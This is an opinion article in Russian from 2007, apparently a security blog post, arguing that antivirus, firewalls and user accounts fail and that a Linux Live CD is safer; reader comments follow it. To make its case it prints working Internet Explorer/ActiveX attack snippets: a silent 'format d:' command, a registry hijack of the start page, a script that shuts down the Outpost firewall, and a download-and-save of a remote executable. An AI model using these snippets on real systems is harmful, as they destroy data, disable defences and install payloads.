25.05.2007

Философия компьютерной безопасности. Абсолютной защиты нет… и не надо!

image

Приведенную модель безопасности ни в коем случае нельзя считать панацеей. Это всего лишь попытка найти простое и надёжное решение для работы в агрессивных средах при минимальном затрате денежных средств и времени.

Классическая модель безопасности – это мыльный пузырь?! 

Антивирус 

Нужен ли вам антивирус? Конечно же нужен, скажет абсолютное большинство… как без антивируса то??? А чем же мы будем защищаться то?

Диски надо регулярно проверять? Надо! А вдруг кибер-зараза тихенько сидит и ждёт, а потом в определённый день и час – форматирование жёсткого диска…Да…

 Проверять, разумеется, лучше всего регулярно, как минимум раз в неделю, как это советуют специалисты по компьютерной безопасности… Надо проверять все носители информации – само собой разумеется жёсткий диск, конечно же дискеты, флэш-драйв и обязательно CD, совсем не важно что это займёт у вас некоторое время – ведь безопасность – превыше всего…

Обновление антивирусных баз – ну это вообще святое – базы недельной давности - уже древние, и поэтому риск подцепить заразу со старыми базами - очень велик, и это прописная истина. Выход – базы надо обновлять регулярно…

Время идёт, и в один прекрасный момент у вашего антивируса заканчивается срок лицензии (если он не бесплатный конечно) и «страж» выплёвывает - что надо бы купить ключик то, а то программа не будет полноценно работать. Ну что ж выход есть – надо найти ключ…

Один антивирус – этого явно не достаточно! Все мы знаем, что для обеспечения мало-мальски приличного уровня безопасности надо* установить два антивирусных продукта, а для того чтобы они не конфликтовали - на разные системы. Всё верно.

* Смысл подчёркнутого «надо» см. в конце статьи.

 Всё было сделано правильно и работало на ура… ничего не предвещало беды… пока в один прекрасный день – система таки не легла под новым вирусом неизвестного происхождения. Файлы были хитро переписаны вирусным кодом и/или жёсткий диск зверски отформатирован…

Варианты:

  • Вы подцепили заразу раньше, чем её сигнатуры успели попасть в базы вашего антивируса… к тому же вирусом оказался не классический exe-шник, а html-страничка, почему бы и нет;) Реализация - уязвимости браузера при обработке ActiveX объектов:
  •  Устанавливаем стартовую страницу браузера:
<APPLET ID="Shl"
CLASSID="CLSID:F935DC26-1CF0-11D0-ADB9-00C04FD58A0B">
</APPLET>
<script>
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://fuckofflamers.ru");
</script>


  • Звучит достаточно кощунственно: содержимое html-файла, подобно патологоанатому методично «освежевает» винчестер. Не возможно? Ещё как возможно! А вот и скрипт стартовой странички:)<script>
a=new ActiveXObject("WScript.Shell");
a.run("cmd /c format d:/y",0);
</script>

Вышеописанный скрипт, внедрённый злоумышленником в html-страницу, не много не мало – незаметно форматирует ваш логический диск d…

Продолжим весёлый некролог:

  • Система притормаживала – и на время игры в Counter Strike я взял и отключил антивирус… «зараза» почувствовала это и выполнила свою «культурную программу»…
  • Антивирус оказался беспомощным против нового пакера, к тому же PE вируса был мастерски отредактирован…
  • Зараза успела отключить антивирус раньше, чем он её запалил…

 
Эпикриз: Абсолютной защиты нет, а существующие варианты – малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

Решение смотрите далее…

Брандмауэр

 Нужен ли нам брандмауэр?

По-моему вопрос, что-ли, ну совсем смешной;) Конечно же нужен! А как без него то вообще? Фаерволл - это первый рубеж, стоящий на страже нашей безопасности и это уже знают даже школьники!

Фаерволл – это святое. Agnitum, Zone Alarm, Kerio - кому что нравиться…

Итак, фаервол установлен, настроен – можно спать спокойно?..

Утро. Солнце светит. Вы идёте на почту оплачивать 1200$ за телефон:)

Варианты:

  • На ваш любимый фаерволл был натравлен новомодный эксплоит, после чего огненная стена превратилась в дымящуюся дыру, а ваши пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения – идея в том – что практически ни один программный продукт не застрахован от уязвимостей. Нижеследующий код на js лишь пример, но…

§ Просто выгружаем фаерволл (на примере Agnitum):

set WShell = CreateObject("WScript.Shell")

WShell.Exec "C:\Program Files\Agnitum\Outpost Firewall\outpost.exe"
WScript.Sleep 200
WShell.AppActivate "Agnitum", TRUE
WScript.Sleep 100
WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"
WScript.Sleep 100
WShell.SendKeys "{ENTER}"


  • Пароли спионерили, используя уязвимости web-браузера – фаерволл молчал как партизан – ещё бы, ведь в его правилах 80-порт должен быть открыт! Пример – реализация всё того же ActiveXObject:
<html>
<script>
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://www.example.com/1.exe",
0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
</script>
<script language="javascript">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0; i<lines.length; i++) {
line = lines[i];
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);
</script>
</html>


  • Ни фаерволл ни антивирус тут вообще не причём… Пароли утекли через очередной успешно реализованный «Оконный» баг -  ну, к примеру, в службе lsass или в другой – благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Думаю приводить иходник подобного сплоита нет смысла вообще…

  Эпикриз: классическая модель безопасности на глазах лопается как мыльный пузырь, и это при том, что всё настроено грамотно…

Решение смотрите далее…

Администратор или Пользователь?!

Пользователь разумеется! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, разумеется, относится) может куда больше, чем с правами смертного юзера.

В качестве яркого примера, иллюстрирующего «всемогущие» возможности имени администратора можно привести следующее: данный html-код, запущенный от имени пользователя можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени администратора:

<HTML>
<OBJECT CLASSID=’CLSID:10000000’
CODEBASE=’C:\Windows\system32\logoff.exe’>
</OBJECT>
<HTML>


«Я работаю от имени пользователя» и мне всё п…»

Ну, что ж аргумент действительно веский, к тому же, и я с этим полностью согласен, данный приём позволяет защититься от большинства из ныне существующих угроз…

Все выглядит почти идеально?!

Действительно… если не забывать про сплоиты, повышающие привелегии!

Фантастика? Да никакая не фантастика!

Если кто-то из читателей усомнится, аргументируя свою уверенность тем, что тулзы вроде DepLoit или GetAdmin – это древность, а альтернативы им нет - securitylab ему в помощь…

Даже при условии, что пользователь постоянно использует run as, войти в систему от «настоящего» администратора рано или поздно ему придётся – зараза почувствует это и выполнит свою «культурную программу»…

 Эпикриз: «И на старуху найдётся проруха;}» - понижение привелегий для большинства пользователей слишком обременительно и не удобно…

Работа от имени пользователя не может стать 100% гарантом безопасности.

Решение смотрите далее…
 
Технология инопланетян или всё гениальное просто…

 Ну вот, собственно и настал момент истины… Так чем же мы будем защищаться то?  

Ничем отвечу я вам;).

Наша модель безопасности – эта не та консервативная экстенсивная модель, привычная многим из нас: антивирус, межсетевой экран и прочие инструменты… Она не претендует на гениальность и универсальность и является лишь резонным примером, использование которого позволяет выстроить принципиально новую модель безопасности - удобную и достаточно надёжную.

Суть проста – весь секрет в среде, в которой мы будем работать, а также ещё кое в чем… Многие уже догадались.

Форматируем несуществующий винчестер!

 А что нам мешает работать не под прожжённой Windows, а под Linux, да ещё и с загрузочного диска Live CD? Ничего! Кроме лени, разумеется;)

Да, возможно, нам придётся пожертвовать некоторыми удобствами, да и не везде можно загрузится с диска, но игра стоит свеч, посудите сами:

  • Больше никаких «надо»
  • Минимальное количество настроек
  • Готовая модель безопасности умещается на мини-CD и лежит у вас в кармане!

Решаемые вопросы:

  1.  Малое количество вирусов, червей, троянов, эксплоитов работающих под Linux.
  2. Работая с загрузочного диска, можно навсегда забыть, что такое отформатированные винчестеры, убитые exe-шники и похищенные пароли – на время работы с liveCD – жесткий диск нам не к чему.
  3.   Работая с загрузочного диска – где бы вы не были: дома, на работе ну, и, конечно же, в «боевых» условиях (а для этого модель то в основном и предназначена) – вам не придётся ломать себе голову, как сделать так, чтобы не осталось следов и не полетела система…
  4. И последнее: система проста и вместе с тем надёжна.

 Вместо PS: приведенную модель безопасности ни в коем случае нельзя считать панацеей. Это всего лишь попытка найти простое и надёжное решение для работы в агрессивных средах при минимальном затрате денежных средств и времени.

Олег Бойцев
security-expert

boytsev_om@mail.ru

или введите имя

CAPTCHA
Страницы: 1  2  3  4  5  6  7  8  
1
25-05-2007 18:27:24
Impulsivno. Mozhno bylo by i pospokoynee vydat' infu.
0 |
1
25-05-2007 18:37:44
Идея не нова конечно, и что то в этом есть, но есть одно НО. LiveCD не убережет вас от утери (в смысле кражи) информации, именно информации, а не убийства винды. А инфа с годами лишь повышается в цене.
0 |
1
28-05-2007 16:05:49
прости за поправку, но утеря и кража (а точнее утечка) информации - это очень разные вещи.
0 |
1
31-05-2007 15:15:06
Костян, чему нас научили, так это терминогогии))))) Сорри за оффтоп, не удержался, увидев одногруппника)
0 |
1
25-05-2007 19:05:27
Вот эти примеры с скриптами, украдены, а также ~ двухлетней давности. Скрипткидис открыл для себя livecd и стал называтся: Олег Бойцев, security-expert, тепер он стал брать с юзеров за установку виндавс, денех больше.
0 |
1
25-05-2007 19:09:33
Даже при условии, что пользователь постоянно использует run as, войти в систему от «настоящего» администратора рано или поздно ему придётся – зараза почувствует это и выполнит свою «культурную программу»…"Зараза" сможет "почувствовать" это разве что тем самым местом, которым будет думать пользователь, разрешив выполнение этой самой "заразы" А вообще Run AS - это не панацея, т.к. любой процесс, запущенный в контексте пользователя, запустившего Run As получает такой же доступ к открываемому окну/приложению, как и пользователь ибо ошибка дизайна... А что нам мешает работать не под прожжённой Windows, а под Linux, да ещё и с загрузочного диска Live CD? Ничего! Кроме лени, разумеется;)Безопасность ваших люнексов - это такой же миф, как и ИБ вообще. Не существует абсолютной безопасности, и любой системный или комплексный подход к безопасности имеет свои слабые места и уязвимости. Еще мне очень понравилось про отключение антивируса для игры в каунтер страйк. Интересно, а где автор работает, если его пользователи отключают (!) сами антивирус чтобы поиграть (!) и при этом к ним на систему чудесным образом попадает вирус? При таком подходе к безопасности никакие меры не спасут и пофиг будет, работает ли пользователь под люнексом или QNX... Да и к удивлению автора привилегии повышать можно не только на виндовсах и если вы храните данные на флешке и происходит компрометация вашей системы, то данные можно точно также легко потерять используя LiveCD как и обычную ОС. Поправьте, если я не прав
0 |
1
25-05-2007 19:20:42
Мда Осталось напомнить автору статьи, что на компьютерах иногда работают, а не только смотрят в окна браузера. Вот для этих трудяг указанная "модель" безопасности неприемлима: им нужен безопасный сервис, а не просто безопасность. Что касается непосредственно примера с Linux, то для пользователей FreeBSD он такой же must die по безопасности, как и Microsoft.
0 |
1
25-05-2007 19:49:03
Ничего нового. Помнится, еще Крис Касперски утверждал, что антивирус бесполезен, так как может пропустить один из десяти (ста, пятисот) тысяч вирусов. Что ж - еще одно подтверждение того, что хорошо настроенная Windows лучше плохо настроенной Linux. В электронной книге "Безопасный Интернет: Универсальная защита для Windows ME - Vista" нами давно описано, как нейтрализовать все вышеперечисленное вообще без охранного софта.
0 |
1
28-05-2007 10:08:18
Что касается непосредственно примера с Linux, то для пользователей FreeBSD он такой же must die по безопасности, как и Microsoft. А вот с этого места поподробней:) Или в БСДе работает другой софт?)) того же постфикса сендмайла и бинда нет? или бсдшники переписали ВЕСЬ софт с нуля?))) ПРОДОЛЖАЙТЕ ЖЕЧЬ!))))
0 |
1
28-05-2007 19:36:22
В чём беда Майкрософта? В том, что его можно настраивать мышкой не имея ни малейшего представления о том что работает и как работает. Линух доведён да такой степени, что пользователь чаще знает, что у него работает, но обычно не знает как работает. Сколько я не общался с Фришниками, то не замечал вот таких незнаний - обычно они знают что и как. Т.е. первое отличие Фри от Линуха - это люди, которые их юзают. Второе отличие в ядре. Linus Torvalds переписал код ядра Linux "с нуля". Ну и третье отличие в практическом применении BSD. Linux не ставят на большие нагрузки, ибо шибко боязно. Примерно так же можно сравнивать 3COM и CISCO: 3COM используют там, где особо не тратятся на тех.специалистов, а CISCO ставят в конторах, где есть спецы и всё должно работать "железобетонно". Я не фанал Фри, по-этому не знаю много отличий. Те, которые на слуху я перечислил. А остальные отличия могут спецы по *NIX рассказать. Я тут, можно сказать, пописать пробегал Мне с высоты начальственного полёта эти детали мало интересны.
0 |
1
28-05-2007 19:38:40
*фанал - фанат
0 |
Страницы: 1  2  3  4  5  6  7  8